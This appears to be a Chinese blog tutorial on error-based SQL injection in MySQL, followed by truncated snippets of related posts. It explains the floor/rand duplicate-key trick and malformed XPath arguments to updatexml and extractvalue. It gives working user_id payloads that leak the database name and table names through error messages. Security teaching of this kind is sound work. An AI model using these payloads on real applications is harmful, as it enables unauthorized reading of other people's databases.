SQL注入 報錯注入

2021-10-02 12:04:46 字數 1685 閱讀 5013

sql注入基礎 盲注

用於注入結果無回顯但錯誤資訊有輸出的情況

floor函式:返回小於等於某值的整數,例如floor(1)則返回1,floor(1.9)也返回1

rand函式:生成隨機數.可指定seed,指定後每次生成的數都一樣即偽隨機,不指定seed則每次生成的隨機數都不一樣.

通過floor和rand構造payload使查詢出現主鍵重複錯誤.

payload:

user_id=1 and (select 123 from (select concat(你的查詢語句,floor(rand(0)*2)) as x ,count(*) from information_schema.tables group by x)a)

比如user_id=1 and (select 123 from (select concat(database(),floor(rand(0)*2)) as x ,count(*) from information_schema.tables group by x)a)

再比如user_id=1 and (select 123 from (select concat((select table_name from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2)) as x ,count(*) from information_schema.tables group by x)a)

updatexml函式:updatexml(xml_document, xpath_string, new_value);

通過構造第二個引數使其為錯誤的xpath格式,造成錯誤.

payload:

user_id=1 and updatexml(1,concat(0x26,你的語句,0x26),1)

比如

再比如 

user_id=1 and updatexml(1,concat(0x26,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x26),1)

extractvalue函式:extractvalue(xml_frag,xpath_string)  使用xpath表示法從xml字串中提取值

也是由錯誤的xpath格式引發錯誤.和updatexml差不多.

payload:

user_id=1 and extractvalue(1,concat(0x26,你的語句,0x26))

比如

SQL注入 報錯注入

乙個帶get引數的 並且不從資料庫返回資料,但存在報錯資訊 檢視字段情況 報錯注入語句格式 and 1 2 union select1,2,3 from select count concat floor rand 0 2 sql語句 a from information schema.tables...

SQL注入 報錯注入

利用 mysql select 1 from select count concat version floor rand 0 2 x from information schema.tables group by x a error 1062 23000 duplicate entry 5.1.4...

SQL 注入 報錯注入

報錯注入的三種格式 第一種 updatexml 修改格式函式 修改格式不符合 報錯 函式解釋 updatexml xml document,xpath string,new value 第乙個引數 xml document是string格式,第二個引數 xpath string xpath格式的字串...